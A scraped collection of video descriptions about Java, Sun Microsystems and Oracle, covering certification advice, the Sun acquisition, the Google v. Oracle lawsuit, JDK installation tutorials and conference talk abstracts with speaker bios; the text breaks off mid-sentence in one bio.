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Java Certification - Do you really need them ?
 
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Java certifications are great. Most students like to learn java and further wants to proceed with java certification. This video will give full clarity to most students, that Do we really need java certification or not. If you have any question, post them down in the comments below and I check all of them. fb: https://www.facebook.com/HiteshChoudharyPage homepage: http://www.hiteshChoudhary.com Music: www.BenSound.com
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About Java, Sun and Oracle
 
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Java software runs on everything from laptops to data centers, game consoles to scientific supercomputers. 1991 - James Gosling, Mike Sheridan, and Patrick Naughton initiated the Java language project James Gosling has invented java and had many rounds of coffee when he got the idea. Initially named as Oak (after Oak tree near Gosling’s office), then it got changed to Green and finally got its JAVA name from Coffee. The name is selected after discussing with his mates as he wants something that was cool, unique, and easy to spell and fun to say. Gosling designed Java with a C/C++-style syntax that system and application programmers would find familiar. Java uses coffee cup logo interesting!!! 1995 - Sun Microsystems released the first public implementation of Java as Java 1.0 2006, Sun released Java virtual machine (JVM) as free and open-source software, (FOSS), under the terms of the GNU General Public License (GPL). 2010 – Oracle acquisition of Sun and pledged to foster its growth On April 2, 2010, James Gosling resigned from Oracle. Sun Microsystems (Feb 24, 1982 to Jan 27, 2010) Founded in 1982 by Vinod Khosla, Andy Bechtolsheim, and Scott McNealy, all Stanford graduate students. Bill Joy of Berkeley, a primary developer of the Berkeley Software Distribution (BSD), joined soon after and is counted as one of the original founders. The Sun name is derived from the initials of the Stanford University Network Oracle acquired Sun for $7.4 billion in 2010 and merged with Oracle America Inc. Sun’s product range include Servers, Workstations, Storage, Solaris, Java, MySQL, Services, Engineered systems and Networking. Oracle Corporation (founded in June 16,1977): 2016 revenue figures - $37 billion with net income of $9b, assets of $112b, Employees ~136,000 Specialization in database software and technology, cloud engineered systems and enterprise software products. In 2015 Oracle was the second-largest software maker by revenue, after Microsoft ($98b). SAP follows 3rd position with $23b. The company develops and builds tools for database development and systems of middle-tier software, enterprise resource planning (ERP) software, customer relationship management (CRM) software and supply chain management (SCM) software. Founders: Larry Ellison co-founded Oracle Corporation in 1977 with Bob Miner and Ed Oates Normand Beauchamp
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James Gosling on Apple, Apache, Google, Oracle and the Future of Java
 
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In this video from an event presented by the Silicon Valley Java User Group, and the Silicon Valley JavaFX User Group on November 17, 2010, James Gosling answers some of the burning questions surrounding Java. A few of the things Gosling covers are: - His departure from Oracle - Oracle's stewardship of Java - Android's use of Java, and what he would've done - Apple's "deprecation" of Java - IBM and Oracle relationship - Apache Software Foundation's recent worries - What's he's been up to lately - His other favorite programming languages and technologies - The future of Java ** To get more info on the event, and check out some of the pics head to www.marakana.com/f/205 **
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Java Certification Tutorial | Java Tutorial For Beginners | Java Training | Edureka
 
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( Java Training - https://www.edureka.co/java-j2ee-soa-training ) This Edureka Java Certification tutorial (Java Blog Series: https://goo.gl/12JH8n) will help you in understanding about the various certifications available for Java professionals. This video helps you to learn following topics: 1) What is Java? 2) Why Java Certification? 3) Oracle Certified Associate 4) Oracle Certified Professional 5) Oracle Certified Expert 6) Oracle Certified Master 7) Java Job Trends 8) Edureka: Java/J2EE and SOA Certification Training Check out our Java Playlist: https://goo.gl/ES3dI3 Subscribe to our channel to get video updates. Hit the subscribe button above. #Java #Javatutorial #Javaonlinetraining #Javaforbeginners #Javacertification How it Works? 1. This is a 7 Week Instructor led Online Course, 45 hours of assignment and 20 hours of project work 2. We have a 24x7 One-on-One LIVE Technical Support to help you with any problems you might face or any clarifications you may require during the course. 3. At the end of the training you will be working on a real time project for which we will provide you a Grade and a Verifiable Certificate! - - - - - - - - - - - - - - - - - About the Course Edureka's Advanced Java/J2EE and SOA training and certification course is designed for students and professionals who want to be a Java Developer. This is a 42 hour course which will cover both core and advanced Java concepts like Database connectivity, Threads, Exception Handling, Collections, JSP, Servlets, XML Handling etc. We will also learn various Java frameworks like Hibernate and Spring. During our Java/ Certification training, our instructors will help you: 1. Develop the code with various Java data types, conditions and loops. 2. Implement arrays, functions and string handling techniques. 3. Understand object oriented programming through Java using Classes, Objects and various Java concepts like Abstract, Final etc. 4. Implement multi-threading and exception handling. 5. Use parse XML files using DOM and SAX in Java. 6. Write a code in JDBC to communicate with Database. 7. Develop web applications and JSP pages. 8. Interact with the database using hibernate framework. 9. Write code with spring framework components like Dependency Injection and Auto Wiring. 10. Implement SOA using web services. - - - - - - - - - - - - - - - - - - - Who should go for this course? This course is designed for professionals aspiring to become Java Developers. Programmers, Web Developers, Web Designers, Programming Hobbyists, Database Administrators, Youngsters who want to kick start their career are the key beneficiaries of this course. - - - - - - - - - - - - - - - - Why learn Java? Java is a general-purpose, class-based, object-oriented computer programming language that was designed by James Gosling at Sun Microsystems in 1995. Key Highlights of Java: Platform Independent: This allows programmers to develop applications that can run on any operating system. Usability of Java: Java is most widely used programming language. It is present everywhere. It really doesn't matter which domain you are working in, you will surely come across Java sooner or later! Open Source: The good news is that Java is available for free! All the development tools and the environment (JRE & JDK) that is used to develop Java applications are absolutely free of cost. Android: Irrespective of the fact that you are tech savvy or not, most of us are badly bitten by the Android bug! Android is in great demand today and fortunately you need Java for Android development. Hence, the importance of Java has increased even more. Hadoop: Hadoop is one of the most trending framework for processing Big Data. It has been designed and developed in Java. In spite of having a tough competition on the server side from Microsoft and other companies, Java is doing extremely well on mobile platforms, thanks to Android! It has also been the primary language for Hadoop Developers. For Java Training and Certification, please write back to us at [email protected] or call us at IND: 9606058406 / US: 18338555775 (toll free). Facebook: https://www.facebook.com/edurekaIN/ Twitter: https://twitter.com/edurekain LinkedIn: https://www.linkedin.com/company/edureka
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Exploration of Solaris 10 /  Sun OS  with  Java Desktop System (JDS)
 
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Sun Microsystem released that operating system in approximately 2005. Bought by Oracle in 2009, now known as Oracle Solaris. Unfortunately, dont know a lot that operating system, so cannot show you commands nor advanced functionalities.
Oracle Corporation and about Java
 
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Oracle Corporation is an American multinational computer technology corporation headquartered in Redwood Shores, California. The company specializes primarily in developing and marketing database software and technology, cloud engineered systems, and enterprise software products — particularly its own brands of database management systems. In 2015, Oracle was the second-largest software maker by revenue, after Microsoft Java is a general-purpose computer-programming language that is concurrent, class-based, object-oriented, and specifically designed to have as few implementation dependencies as possible. It is intended to let application developers "write once, run anywhere" (WORA), meaning that compiled Java code can run on all platforms that support Java without the need for recompilation. Java applications are typically compiled to bytecode that can run on any Java virtual machine (JVM) regardless of computer architecture. As of 2016, Java is one of the most popular programming languages in use, particularly for client-server web applications, with a reported 9 million developers. Java was originally developed by James Gosling at Sun Microsystems (which has since been acquired by Oracle Corporation) and released in 1995 as a core component of Sun Microsystems' Java platform. The language derives much of its syntax from C and C++, but it has fewer low-level facilities than either of them. Technology timeline    1979: offers the first commercial SQL[citation needed] RDBMS 1983: offers a VAX-mode database 1984: offers the first database with read-consistency 1986: offers a client-server DBMS 1987: introduces UNIX-based Oracle applications 1988: introduces PL/SQL 1992: offers full applications implementation methodology 1995: offers the first 64-bit RDBMS 1996: moves towards an open standards-based, web-enabled architecture 1999: offers its first DBMS with XML support 2001: becomes the first to complete 3 terabyte TPC-H world record 2002: offers the first database to pass 15 industry standard security evaluations 2003: introduces what it calls "Enterprise Grid Computing" with Oracle 10g 2005: releases its first free database, Oracle Database 10g Express Edition (XE) 2008: Smart scans in software improve query-response in HP Oracle Database Machine / Exadata storage 2010: Acquires Sun Microsystems 2013: begins use of Oracle 12c which is capable of providing cloud services with Oracle Database 2016: Acquires NetSuite Inc. Source: Wikipedia
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Печальная история Sun Microsystems  и  Solaris
 
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Печальная история Sun Microsystems и #Solaris
Oracle buys Sun
 
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The world's largest database company spends US$7.4B to take over the maker of Java, Solaris and many other products. IT World Canada Editor-in-Chief Shane Schick talks with ITBusiness.ca's Brian Jackson and ComputerWorld Canada's Kathleen Lau.
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Oracle buys Sun Micro
 
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Oracle buys Sun Micro in a deal worth $7.4 billion.
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Optional - The Mother of All Bikesheds by Stuart Marks
 
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Subscribe to Devoxx on YouTube @ https://bit.ly/devoxx-youtube Like Devoxx on Facebook @ https://www.facebook.com/devoxxcom Follow Devoxx on Twitter @ https://twitter.com/devoxx The Optional class was introduced in Java 8 in order to solve a narrow but frequently occurring problem: what to return if you have nothing to return. It is a single class with less than 20 methods, but it turns out to have been one of the most controversial and most misunderstood APIs, having generated several "centithreads" of discussion on OpenJDK mailing lists. Indeed, Brian Goetz (Oracle's Java Language and Libraries Architect) has mentioned that one aspect of Optional was his biggest mistake in Java 8. Optional is also one of the more widely misused APIs. A brief survey of OpenJDK code revealed several embarrassing examples of Optional usage, and expert Java programmers have admitted to not making the most of this API. This session covers the history and rationale of Optional, provides recommendations and examples of proper and effective usage, shows several antipatterns and code smells and how to fix them, and finally describes some current and proposed work on Optional for Java 9. Stuart Marks is a Principal Member of Technical Staff in the Java Platform Group at Oracle. He is currently working on a variety of JDK core libraries projects, including Collections, Lambda, and Streams, as well as improving test quality and performance. As his alter ego "Dr Deprecator" he also works on the Java SE deprecation mechanism. He has previously worked on JavaFX and Java ME at Sun Microsystems. He has over twenty years of software platform product development experience in the areas of window systems, interactive graphics, and mobile and embedded systems. Stuart holds a Master's degree in Computer Science and a Bachelor's degree in Electrical Engineering from Stanford University. [VXM-7030]
Views: 24871 Devoxx
Oracle To Buy Sun Microsystems
 
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After IBM walked away, Oracle agrees to buy Sun Micro for $7.4 bn
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Google has lost its billion dollar legal fight with Oracle, but everybody will pay the price
 
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Google is on the hook for billions of dollars in damages after a federal appeals court decided that it violated Oracle’s copyright by using Java code in its Android operating system. The case has been sent down to a lower-level court for damages to be calculated but if Oracle gets its way, Google will be paying several billion dollars in damages. More worryingly, however, the lawsuit sets a strict precedent on the use of application program interfaces (APIs) in coding. The tech community has been divided over the case, but critics are warning that a harsh verdict against Google will have a chilling effect on the speed of innovation in software. APIs are pre-written chunks of code that provide a common framework for performing an action across all different types of devices. Oracle, the owner of Sun Microsystems, which first developed the Java language in the 1990s, has its own set of APIs for its own proprietary Java implementation, Java Standard Edition. Google’s Android operating system is written in a different (but very similar) implementation of Java, and it has its own APIs. The lawsuit centers around whether Google’s APIs, which are technically different but functionally identical to Oracle’s, breach the copyright. Unfortunately for Google, the Federal Circuit court ruled in 2014, that APIs are copyrightable, a decision that set the stage for Oracle’s win in court today. Google was trying to argue that its use of Oracle’s APIs were “fair use,” as Oracle allows for non-commercial use, or for its software to be used in the development of other applications. What it doesn’t allow for is its technology to be embedded into a competing platform, which is what the Android operating system is. “The fact that Android is free of charge does not make Google’s use of the Java API packages noncommercial,” the Federal Circuit ruling said, noting also that Google collects significant advertising revenue from Android. Mozilla, the developer of Firefox, filed an amicus brief siding with Google in the case. “In order for open source to thrive, programmers need to reuse and reimplement existing Application Programming Interfaces (APIs) – the technical standards according to which computer programs interoperate with each other. Without such interoperability, open source programs lose much of their value as creative and competitive alternatives to proprietary – or “closed source” – programs. By making the information needed for interoperability available to all and thereby making the choice to switch software both cost-effective and frictionless, APIs ensure that consumers have open source alternatives to proprietary software,” the company said.
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How to save money on sun microsystems (Oracle) server repair contract
 
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http://new-york-computer-repairs.com/save-money-sun-microsystems-repair Save money on Sun Microsystems / Oracle server repair by following the 3-steps outlined in this video. This practical advice is also useful to save, reduce or cut costs for maintenance and repair on other computer systems, like IBM, HP, Dell and others. http://youtu.be/YSiauoZnlSw
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Unboxing of an Oracle Sun Ray 3 Plus
 
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Announced March 31, 2010, The Sun Ray 3 Plus takes desktop appliances to a new level. See why:
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Solution - "Oracle JInitiator Version Too Low" - Oracle Application Error
 
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SOLVED - Oracle JInitiator Version Too Low - Oracle Application Error (Video) The following error might be encountered when running an Oracle application - launching forms: Error: FRM-92095. Oracle Jinitiator version too low. Please install version 1.1.8.2 or higher. In order to fix this issue you will have to add a new environment variable, that has the following details: Variable name: JAVA_TOOL_OPTIONS Variable value: -Djava.vendor="Sun Microsystems Inc." 1. Right click on my computer - Properties - Advanced System Settings - Advanced - Environment Variables - New Add the above two records both under user and system variables. Install the latest java from https://java.com/en/ Thank you for watching. Java version low issue java version too low How to fix Oracle Jinitiator version too low error in Oracle Applications Resolving "JInitiator version too low"  Repair problems with Java Oracle jinitiator 1.1.8.2 java 1.1.8.2 djava.vendor jinit 1.1.8.2 download oracle jinitiator 1.1.8.2 download como solucionar un error de frm-92095 version 1.1.8.2 de oracle frm-95095: oracle jinitiator version too low error Repair problems with Java Version de oracle jiniator muy baja oracle jinitiator 1.3.1.30 free oracle jinitiator demasiado bajo solucionar cuando da java 1.1.8.2 error djava.vendor="sun microsystems inc." Please remember to like, comment and subscribe to our channel.
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Sun's Scott McNealy and Oracle's Larry Ellison talk about the future of Java
 
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Company leaders Scott McNealy and Larry Ellison talk about the future of Java going forward (as Oracle). Recorded in the audience at JavaOne 2009 (San Francisco, California June, 20 2009) Scott McNealy Chairman of the Board of Directors, Sun Microsystems, Inc., Chairman of Sun Federal, Inc. Larry Ellison Chief Executive Officer, Oracle Corporation
Views: 13944 Mike P.
Install Oracle/Sun Java 7 Manually in Ubuntu Desktop
 
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Demonstrates manual install of 32 bit Oracle/Sun Java SDK (software development kit) 7 SE into 32 bit Ubuntu 12.04 Desktop. Downloads the correct version for a Debian install. Checks Java versions on your desktop and makes Oracle Java the default.Configures Firefox web browser to use Oracle Java as a plugin. Verifies install by running Java web start file from App Inventor. Update 8/11/13 If you attempt to install 32 bit Java on 64 bit Ubuntu and get error "Java: no such file or directory" when using command "java -version", you will need to install 32 bit libraries on 64 bit machine- "sudo apt-get install libc6-i386:. Update 8/21/13. If you want to more easily install Java from a repository see "Install WebUpd8 PPA and Oracle Java 7SE SDK in Ubuntu 12-13 Desktop"- "http://youtu.be/TOxuNmHPyLA" on this channel.
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Company Profile:  Sun Microsystems Inc (JAVA)
 
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Prior to Sun Microsystems acquisition by Oracle, the company was a leading maker of UNIX-based servers used to power computer networks and Web sites. It also made workstations and disk- and tape-based storage systems. Sun's computers utilized the company's own chips (SPARC microprocessors) and operating system (Solaris). Its software portfolio included application server, database management, office productivity, and network management applications. The company also developed Java, a programming language used to create applications for computers, Web browsers, mobile phones, and other consumer electronic devices. Sun Micro was acquired in 2010 by Oracle for about $7.4 billion in cash. Oracle's offer was valued at about $5.6 billion minus Sun's cash and debt. The acquisition was designed to allow the software giant to offer integrated software and hardware systems for business applications
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Oracle compra Sun Microsystems, Java y MySQL comentario de Juan Pablo Chaclan
 
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Mi comentario sobre la compra de Sun Microsystems por parte de Oracle.
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CON8342 - Improving the Performance of Your Java Application: Getting Beyond the Basics
 
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Most Java applications are used in performance-critical situations where a small gain in responsiveness or throughput can mean success or failure. Typical applications have some low-hanging fruit, and improving this can lead to significant performance gains. The challenge is finding where the next gains will come from. This session demonstrates how Oracle Performance Analyzer can help identify performance opportunities in the most aggressively optimized applications and how you can drill down into the data to isolate and fix performance bottlenecks. Speakers: Martin Itzkowitz, Senior Principal Software Engineer, Oracle Marty Itzkowitz received an A.B. degree from Columbia College and a Ph.D. in Chemistry and Physics from CalTech. After a post-doctoral fellowship at UC-Berkeley, he worked on operating systems and distributed services at LBL. He was head of Operating Systems at Vitesse Electronics, and then worked on operating system performance and performance tools at Sun Microsystems and then at Silicon Graphics. He returned to Sun in 1998 as project lead for the Sun Studio Performance Tools, and and continues as the lead for the Oracle Solaris Studio Performance Tools. His interests include operating system design and performance, multiprocessor performance, performance tools and scientific visualization. He is avid handball player and cook. He is married to Gloria Golden, a clinical psychologist in private practice. He has written and/or presented papers at various conferences, including: The Second International Conference on Distributed Computing Systems, Paris, 1981; AFUU Convention Unix 90, Paris, 1990; Supercomputing Debugging Workshop, Albuquerque, 1991; Workshop on Debugging and Performance Tuning for Parallel Computing Systems, Cape Cod, 1994; SuperComputing '96, Pittsburgh, 1996; WOMPAT 2000, San Diego 2000; SuperComputing '03, Phoenix, 2003; the OpenMP BOF at SuperComputing '06, Tampa, 2006; the CommunityOne conference San Francisco, 2009; and the 3rd Parallel Tools Workshop, Dresden, 2009; JavaONE, San Francisco, 2012; and JavaONE, San Franciso, 2013. Yukon Maruyama, Studio Performance Tools, Oracle Yukon Maruyama received a degree in electrical engineering from Stanford. He has worked on various software and hardware projects for Siemens AG, DIBA Inc., Sun Microsystems Laboratories, and the Oracle Studio Performance Tools group.
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Best Way to Get Java Certified
 
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What is the best way to get Java certified? Go to the Oracle education site. I want to get Java certified, not Oracle certified. Oracle created Java, too. The education.oracle.com website has information on how to get Java SE7 certified. It does not mean they have the type of training I want or the training I need, though I can understand if they have the certification courses. They have certification exams. Even diploma mills usually require you to submit something. Oracle offers exam prep seminars if you’ve studied by yourself but want their review course before paying to take the exam. What are the other options for taking training classes for Java? Oracle has live virtual class training for those who cannot get to an in-person class at various locations and downloadable training as well. What type of classes do they have? The Oracle courses range from the Oracle database administration classes to Sun Microsystems to Java programming language. Sun Microsystems are described as perfect cars that run on only 2% of the roads, whereas Microsoft cars go everywhere but crash every hour. That’s why Unix became so popular. Java application development is one of the most popular courses they teach, so you can create Java applications that work on their Oracle servers and interface with Sun. That means the Java is just middleware. It is actually called the Oracle Java and Middleware certification. That does not have much respect – or clarity of what it does. It shows that you can design applications that link their application servers, databases and business intelligence tools like JD Edwards. I just need Java skills and certification to prove I have the Java skills. If you’re just looking at Java certification, take the Java SE6 or SE7 exam after taking one of the classes, reading the books and taking a review seminar or really, really reading a lot about it. What levels do they have? The basic level is the associate level certification, which has three options. For that, you take the Java SE whatever the current version is fundamentals exam. Which means I’m not worth enough to be paid for the skill-set. The professional level has three options. Professional level requires taking the programmer 2 exam. I like the idea of being able to say Java Oracle considers me a professional. The certified master has three levels. It requires being a certified professional already and then taking at least one of their advanced classes. That would be easy to do with all their online classes. The online courses do not count toward the requirements for becoming a certified Java master. It has to be training on demand, live virtual classes or an instructor led class. Why? Are they afraid the advanced people might break-in and change their course credit, if not in the room or live session with someone? Of course Java is afraid of getting attacked; they already get exploited once a year. That they take precautions with their professional certifications does not make me feel better. Neither does the price tag for their courses, but you’ll appreciate the pay raise Java certification should yield.
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Java and the Shadow of Sun
 
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So Oracle has decided that it has no interest in Java any more. But really, Oracle is simply using the playbook it was given when it acquired Sun Microsystems. It's time to reevaluate Sun's legacy as an Open Source "leader", especially when so many missteps and so much dysfunctionality attributed to Oracle is really just a continuation of how Sun behaved. Links: Oracle is 'meh' on Java : http://www.infoworld.com/article/2987529/java/insider-oracle-lost-interest-in-java.html Oracle cutting Java evangelist : http://www.infoq.com/news/2015/09/oracle-purges-java-evangelists ASF Resigns from JCP : https://blogs.apache.org/foundation/entry/the_asf_resigns_from_the ASF Open Letter to Sun : http://www.apache.org/jcp/sunopenletter.html Told you so : https://twitter.com/jimjag/status/649588277293547520 Sun and OpenOffice.org : http://www.itpro.co.uk/610553/ibm-sun-and-openofficeorg/page/0/1 Follow me: Twitter : @jimjag Facebook : https://www.facebook.com/jim.jagielski
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Moving Java Forward Faster
 
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The Java SE Platform and the JDK are moving to a rapid, six-month release cadence, with the next release in March 2018. We’ll review the motivations for this change and discuss how this impacts users. Aurelio is a Director of Product Management in charge of Java SE since 2010. He has been involved in the development of the JDK since JDK 7. He is a frequent presenter at JavaOne, with Java User Groups, and Oracle Customers. Aurelio's role includes making sure that groups within Oracle that use the JDK are well informed of changes as well as explaining what are the most relevant features and enhancements in upcoming releases. Aurelio joined Oracle in 2010 through the Sun Microsystems acquisition. He joined Sun in 2008. Before moving to California he worked in Workforce Managemen and Telecommunications in Florida. Aurelio holds a BS in Systems Engineering from Universidad de Lima, and an MBA from MIT Sloan. https://developer.oracle.com/ https://cloud.oracle.com/en_US/tryit
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Oracle-Sun Reaction
 
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Some Silicon Valley thought leaders share their opinions on the purported acquisition of Sun Microsystems by Oracle.
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Oracle Sun-Everlasting
 
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every time we touch
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Oracle keynote
 
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Oracle opening keynote Authors: Brian Goetz Brian Goetz has been a professional software developer for more than twenty five years. Brian is the author of the very successful 'Java Concurrency in Practice', and has written over 75 articles on Java development. He was the specification lead for JSR-335 (Lambda Expressions for the Java Language) and has served on numerous other JCP Expert Groups. Brian is the Java Language Architect at Oracle. Richard Bair Richard Bair is an application developer with over 7 years experience in writing SQL database front ends. Four of those years were devoted to writing Java applications based on Swing and JDBC. He is currently tasked with working on the back-end components in JDNC for communicating with various data stores such as RDBMS systems, web services, and EJB servers, as well as working on Swing components and general JDNC project management. He joined Sun Microsystems in November of 2004 as a member of the Swing team, working full time on the JDNC project. Jasper Potts Currently working as a engineer at Sun Microsystems on the Java Swing Team. There where I am working on JTable, Synth, Nimbus Look & Feel and various Java One talks. Prior to working at Sun I was working on a Java photo management application called Imagery for my own company Xerto. Imagery is a powerful piece of software for helping professionals manage large digital image collections. Built in Java with support for huge collections of hundreds of thousands of images and P2P server-less replicated collaboration.
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The Future of Java / OpenJDK and how it impacts You!
 
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VirtualJUG is an online Java User Group: http://virtualjug.com/ Our meetup community can be found on http://meetup.com/virtualjug. We post all our upcoming vJUG sessions, which you’ll be notified of through the meetup mailing list. Join us on slack for the live discussion: https://goo.gl/ELDDcp Abstract: There has been a lot of Fear, Uncertainty and Doubt (FUD) in the Java Ecosystem due to: 1. Some major changes in Java itself, which has caused some upgrade friction. 2. The new 6-month release cadence for Java and what an LTS release actually means. 3. The non-commercial and commercial support models put in place by Oracle, Azul, IBM, RedHat, AdoptOpenJDK and others to provide support for their Java/OpenJDK produced binaries. These three changes have all happened within a short time frame creating a perfect storm of uncertainty as day to day developers who don't follow the industry news closely get caught out! This vJUG session is going to set the record straight and tell you which version of Java to use from which Vendor and for what price ($free or $commercial). Speakers: Simon Ritter & Martijn Verburg Simon Ritter is the Deputy CTO of Azul Systems. Simon has been in the IT business since 1984 and holds a Bachelor of Science degree in Physics from Brunel University in the U.K. Simon joined Sun Microsystems in 1996 and started working with Java technology; he has spent time working both in Java development and consultancy. Having moved to Oracle as part of the Sun acquisition. Martijn Verburg (aka "The Diabolical Developer") is currently the CEO of jClarity and leads various Java ecosystem initiatives including AdoptOpenJDK. At AdoptOpenJDK, Martijn is one of the team members that's setting out the strategic vision of the AdoptOpenJDK build farm and guiding the nearly 300 volunteers towards the build farm's common goals.
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Introduction to JAVA | Tutorial | Learn JAVA |
 
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Introduction to JAVA | Tutorial | Learn JAVA | What is Java? Java is a popular programming language, created in 1995 By James Gosling from Sun Microsystems It is owned by Oracle, and more than 3 billion devices run Java. It is used for: • Mobile applications (especially Android apps) • Desktop applications • Web applications • Web servers and application servers • Games • Database connection The target of Java is to write a program once and then run this program on multiple operating systems. The first publicly available version of Java (Java 1.0) was released in 1995. Sun Microsystems was acquired by the Oracle Corporation in 2010. Why Use Java? • Java works on different platforms, it is Platform Independent (Windows, Mac, Linux, Raspberry Pi, etc.) • It is one of the most popular programming languages in the world • It is easy to learn and simple to use • It is open-source and free. • It is secure, fast and powerful. • It has a huge community support (tens of millions of developers)
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Sun Microsystems & Oracle Memory
 
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DMGI sells memory for Sun Microsystems and Oracle servers.
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How to Install Oracle Java Development Kit(JDK) On Windows 7/8/10
 
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This tutorial has everything you need to know about installing JDK 8 on Windows. If you’re new to Java, I’ll show you how to setup the Java Development Kit. And if you’re a Java pro? I’ll highlight the needed links that you can use to download the installer. Bottom line: If you want to get up and running with Java, you’ll love this tutorial. JDK Download & Install Java is a computer programming language that is concurrent, class-based and object-oriented. Java applications compile to bytecode (class file) that can then run on a Java Virtual Machine (JVM). James Gosling created Java at Sun Microsystems. It is currently owned by the Oracle Corporation. Consult following posts if you are looking to download and install JDK 1.5, JDK 1.6, JDK 1.7, JDK 1.9 or JDK 1.10. Java can be obtained from the Oracle Java download page. There are a number of different Java packages available, for this tutorial we will be installing Java Standard Edition (SE) on Windows. In order to be able to compile Java code, we need the Java Development Kit (JDK) package that comes with a Java compiler. The JDK package also comes with a Java runtime environment (JRE) that is needed to run compiled Java code. Scroll to the Java SE 8u171/ 8u172 section in the middle of the Oracle Java download pageand click on the Download button right below JDK. Then look for the Java SE Development Kit 8u172 section. Here is the direct link to download the jdk 8u172 installer for Windows 32 or 64 bit. Accept the License Agreement and pick the correct download for your operating system. In this example, we will use the Windows 64 bit version.  Sign in using your Oracle account (or create a new one) and the download should start. Once the download is complete, locate the jdk-8u172-windows-x64.exe file and double-click to run the installer.  Click Next and on the following screen optionally change the installation location by clicking on the Change... button. In this example the default install location of 'C:\Program Files\Java\jdk1.8.0_172\' was kept. From now on we will refer to this directory as: [java_install_dir].  We will not install the public JRE as the JDK Development tools include a private JRE that can run developed code. Select the Public JRE dropdown and click on This feature will not be available. as shown below.  Click Next and then Close to finish installing Java.  JDK Configuration In order for Java applications to be able to run we need to setup a 'JAVA_HOME' environment variable that will point to the Java installation directory. In addition, if we want to run Java commands from a command prompt we need to setup the 'PATH' environment variable to contain the Java bin directory. When using Windows the above parameters can be configured on the Environment Variables panel. Click on the Windows Startbutton and enter “env” without quotes as shown below.  Environment variables can be set at account level or at system level. For this example click on Edit environment variables for your account and following panel should appear.  Click on the New button and enter “JAVA_HOME” as variable name and the [java_install_dir] as variable value. In this tutorial the installation directory is 'C:\Program Files\Java\jdk1.8.0_172'. Click OK to to save. #INSTALLING#JAVA#JDK
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Sun Microsystems and Oracle Memory
 
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Sun Microsystems & Oracle original memory.
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Developers’ Introduction to HotSpot Internals
 
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Many application bugs and performance problems can be resolved or avoided through a deeper understanding of how the JVM works. This session identifies the major subsystems in Oracle’s HotSpot JVM and presents an overview of how they work and interact. It also examines how HotSpot handles several common application patterns that can cause unexpected behavior, poor performance, or unnecessarily high resource consumption. Author: Paul Nauman Paul is a member of the JVM Sustaining Engineering organization at Oracle Corp. Previously Paul worked for Sun Microsystems, Ameritech and Bell Laboratories. Paul has an extensive background in system-level programming in telecommunications and financial services. View more trainings by Paul Nauman at https://www.parleys.com/author/paul-nauman-2 Find more related tutorials at https://www.parleys.com/category/developer-training-tutorials
Views: 4831 Oracle Developers
Java One - Larry Ellison on Oracle's Java Strategy
 
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From a keynote Q&A with Scott McNealy of Sun and Larry Ellison of Oracle at the 2009 JavaOne conference
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Oracle And IBM Ink Pact To Collaborate On Java Development Efforts
 
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"Oracle (NASDAQ:ORCL) and IBM (NYSE:IBM) have agreed to collaborate on Java development efforts, using the OpenJDK project initiated by Sun Microsystems, as apposed to IBM's Apache Harmony. Hasan Rizvi, senior vice president of Oracle, said, ""The Java community is vital to the evolution of the Java platform. The collaboration between Oracle and IBM builds on the success of OpenJDK as the primary development platform for Java SE."" Executives of the firms said the agreement would ""remove some of the uncertainty about the future of Java,"" but added that it seemed unlikely until Oracle and Google (NASDAQ:GOOG) settle their continued disagreement. SmarTrend is bullish on shares of Oracle and our subscribers were alerted to buy on September 07, 2010 at $23.80. The stock has risen 17% since the alert was issued."
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Sun Microsystems Founders Panel
 
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[Recorded Jan 11, 2006] Scott McNealy, Andy Bechtolsheim, Bill Joy and Vinod Khosla, with moderator John Gage share their personal stories of the early days at Sun. 

When Xerox PARC loaned the Stanford Engineering Department an entire Alto Ethernet network with a laser printer, then-graduate student Andy Bechtolsheim redesigned it into a prototype and attached it to Stanford Universitys computer network. Sun Microsystems grew out of this prototype, and the companys name came from the acronym for Stanford University Network (SUN). 

The company was incorporated in 1982 by three 26-year-old Stanford 
alumni: Bechtolsheim, Vinod Khosla and Scott McNealy. The trio soon attracted UC Berkeley UNIX guru, Bill Joy, who led software development for the new company. By its second birthday, Sun had grown to more than 400 employees. Most recently, Sun Microsystems was acquired by Oracle.
Oracle OpenWorld 2009 Keynote Highlights: Scott McNealy, Sun Microsystems
 
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Oracle OpenWorld 2009 Keynote Highlights: Scott McNealy, Sun Microsystems
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Parallel Streams Workshop
 
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One of the promises of the new lambda and streams features of Java SE 8 is an easier path to parallel programming. Attend this session to learn when and how to use parallel streams—and when not to. Author: Stuart Marks Stuart Marks is a Principal Member of Technical Staff in the Java Platform Group at Oracle. He is currently working on enhancing the core libraries of the JDK. He has previously worked on JavaFX and Java ME at Sun Microsystems. He has over twenty years of software platform product development experience in the areas of window systems, interactive graphics, and mobile and embedded systems. Stuart holds a Master's degree in Computer Science and a Bachelor's degree in Electrical Engineering from Stanford University. View more trainings by Stuart Marks at https://www.parleys.com/author/stuart-marks Find more related tutorials at https://www.parleys.com/category/developer-training-tutorials
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Oracle acquires Sun Microsystems (Anand Lavi, Tholons speaks about the impact of the deal)
 
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Anand Lavi, Partner, Tholons speaks about the Oracle and Sun Microsystems deal and its impact on the industry. How it would impact the technology sector and what we can look forward to as a result of the deal...
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Introduce Java Programming to Kids
 
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Can software development concepts overwhelm a 10-year-old? Apparently not! Minecraft, a multiplayer game about placing blocks in a 3-D environment, includes modifications (known as mods ) written in Java that can alter the game. This session, presented by Oracle’s Arun Gupta and James Weaver, consists of two parts: 1. Gupta shares how his son taught him Minecraft and how he taught his son how to build a mod. In the process, Gupta taught his son several software development concepts. 2. Weaver demonstrates a tool that he and Gupta developed in Java/JavaFX that facilitates creating Minecraft mods, and he dives into the code to discuss relevant concepts. Viewers will learn a path that can be followed to introduce kids to programming in Java. Authors: James Weaver James L. (Jim) Weaver is a Java and JavaFX developer, author, and speaker with a passion for helping rich-client Java and JavaFX become preferred technologies for new application development. Books that Jim has authored include Inside Java, Beginning J2EE, and Pro JavaFX 2. His professional background includes 15 years as a systems architect at EDS, and the same number of years as an independent developer. As an Oracle Java Evangelist, Jim speaks internationally at software technology conferences. Jim blogs at http://javafxpert.com, tweets @javafxpert, and may be reached at james.weaver AT oracle.com. View more trainings by James Weaver at https://www.parleys.com/author/james-weaver-1 Arun Gupta Arun Gupta is Director of Developer Advocacy at Red Hat and focuses on JBoss Middleware. As a founding member of the Java EE team at Sun Microsystems, he spread the love for technology all around the world. At Oracle, he led a cross-functional team to drive the global launch of the Java EE 7 platform through strategy, planning, and execution of content, marketing campaigns, and program. After authoring ~1400 blogs at blogs.oracle.com/arungupta on different Java technologies, he continues to promote Red Hat technologies and products at blog.arungupta.me. Arun has extensive speaking experience in 35+ countries on myriad topics. An author of a best-selling book, an avid runner, and a 